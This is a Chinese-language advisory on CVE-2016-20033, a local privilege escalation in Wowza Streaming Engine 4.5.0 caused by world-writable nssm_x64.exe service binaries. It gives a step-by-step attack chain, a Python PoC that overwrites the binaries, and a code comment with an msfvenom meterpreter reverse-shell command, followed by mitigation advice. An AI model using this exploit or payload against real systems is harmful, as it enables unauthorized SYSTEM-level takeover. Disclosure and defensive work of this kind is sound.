IPBUF安全漏洞报告
English
CVE-2016-20033 CVSS 7.8 高危

CVE-2016-20033 Wowza Streaming Engine本地权限提升漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2016-20033
漏洞类型
本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wowza Streaming Engine

相关标签

CVE-2016-20033本地权限提升Wowza Streaming Engine文件权限配置错误Windows服务漏洞nssm高危漏洞NSSM_X64.exe

漏洞概述

CVE-2016-20033是Wowza Streaming Engine 4.5.0版本中的一个高危本地权限提升漏洞。该漏洞源于安装过程中文件权限配置不当,系统为某些关键可执行文件授予了Everyone组完全控制权限,使得任何具有本地访问权限的用户都可以修改这些文件。攻击者利用这一缺陷,将服务目录中的nssm_x64.exe二进制文件替换为恶意可执行文件。由于Wowza Streaming Engine的Windows服务以LocalSystem权限运行,当服务重启时,恶意代码将以最高系统权限执行,从而实现从普通用户到系统管理员的权限提升。此漏洞不需要任何特殊技术能力,攻击者只需具备本地计算机的普通用户访问权限即可实施攻击,成功利用后可完全控制目标系统,执行任意代码、安装后门、窃取敏感数据或进行横向移动。

技术细节

该漏洞的根本原因在于Wowza Streaming Engine安装程序在部署Windows服务时,对nssm_x64.exe及相关可执行文件设置了过于宽松的文件权限。具体表现为:安装程序将C:\Program Files\Wowza Streaming Engine\manager\bin\nssm_x64.exe和C:\Program Files\Wowza Streaming Engine\engine\bin\nssm_x64.exe文件的访问控制列表(ACL)配置为允许Everyone组具有完全控制(Full Control)权限。这意味着系统上的任何用户,无论其权限级别如何,都可以读取、写入、修改甚至删除这些文件。攻击者首先需要获得目标系统的本地用户访问权限,然后定位上述路径中的nssm_x64.exe文件。接着,攻击者创建一个包含恶意代码的伪造nssm_x64.exe文件(可使用MSFVenom等工具生成),并将其复制到目标位置替换原始文件。最后,攻击者触发服务重启(如通过系统重启、服务管理器或其他方式),Windows服务管理器将以LocalSystem账户身份启动新的nssm_x64.exe,此时恶意代码即以最高权限执行。

攻击链分析

STEP 1
1
获得目标系统的本地用户访问权限(通过正常账户登录或其他方式)
STEP 2
2
定位Wowza Streaming Engine安装目录中的nssm_x64.exe文件路径
STEP 3
3
使用msfvenom等工具生成包含恶意代码的x64格式可执行文件
STEP 4
4
备份原始的nssm_x64.exe文件以备后续恢复
STEP 5
5
将恶意可执行文件复制并替换manager和engine目录中的nssm_x64.exe
STEP 6
6
通过系统重启、服务管理器或其他方式触发Wowza Streaming Engine服务重启
STEP 7
7
Windows服务以LocalSystem账户身份启动恶意nssm_x64.exe,实现权限提升
STEP 8
8
攻击者获得系统最高权限,可执行任意代码、安装后门或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2016-20033 PoC - Wowza Streaming Engine Local Privilege Escalation Note: This is for educational and authorized testing purposes only. """ import os import sys import shutil import subprocess import platform TARGET_PATHS = [ r"C:\Program Files\Wowza Streaming Engine\manager\bin\nssm_x64.exe", r"C:\Program Files\Wowza Streaming Engine\engine\bin\nssm_x64.exe" ] def check_vulnerability(): """Check if target system is vulnerable""" if platform.system() != "Windows": print("[-] This exploit requires a Windows target system") return False print("[*] Checking for vulnerable Wowza Streaming Engine installation...") for path in TARGET_PATHS: if os.path.exists(path): print(f"[+] Found vulnerable binary: {path}") # Check file permissions (simplified check) try: os.access(path, os.W_OK) print(f"[+] File is writable - system may be vulnerable") return True except: pass print("[-] No vulnerable files found") return False def create_malicious_binary(): """Generate malicious executable (placeholder)""" print("[*] Generating malicious nssm_x64.exe...") # In real attack, use: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > nssm_x64.exe malicious_binary = b'MZ' + b'\x00' * 100 # Placeholder return malicious_binary def exploit(): """Execute privilege escalation exploit""" if not check_vulnerability(): print("[-] Exploit cannot proceed - target not vulnerable") return False print("[*] Backing up original binaries...") backups = [] for path in TARGET_PATHS: if os.path.exists(path): backup_path = path + ".bak" shutil.copy2(path, backup_path) backups.append((path, backup_path)) print(f"[+] Backed up: {path}") print("[*] Creating malicious binary...") malicious_code = create_malicious_binary() print("[*] Replacing vulnerable binaries...") for path, _ in backups: try: with open(path, 'wb') as f: f.write(malicious_code) print(f"[+] Replaced: {path}") except PermissionError: print(f"[-] Permission denied: {path}") print("[*] Try running as administrator or waiting for service restart") return False print("[!] Binary replacement complete. Trigger service restart to execute payload.") print("[*] On next service restart, the malicious code will execute with LocalSystem privileges.") return True if __name__ == "__main__": print("CVE-2016-20033 - Wowza Streaming Engine Local Privilege Escalation") print("=" * 70) exploit()

影响范围

Wowza Streaming Engine 4.5.0

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1) 使用icacls命令修复文件权限,将nssm_x64.exe文件的所有者更改为管理员组,并移除Everyone组的写权限;2) 部署文件完整性监控(FIM)系统,检测对这些关键文件的未授权修改;3) 限制用户对Program Files目录的写入权限;4) 禁用不必要的本地用户账户;5) 监控Windows Application Event Log中关于服务启动失败的记录;6) 考虑在虚拟化环境中运行Wowza Streaming Engine以限制攻击影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表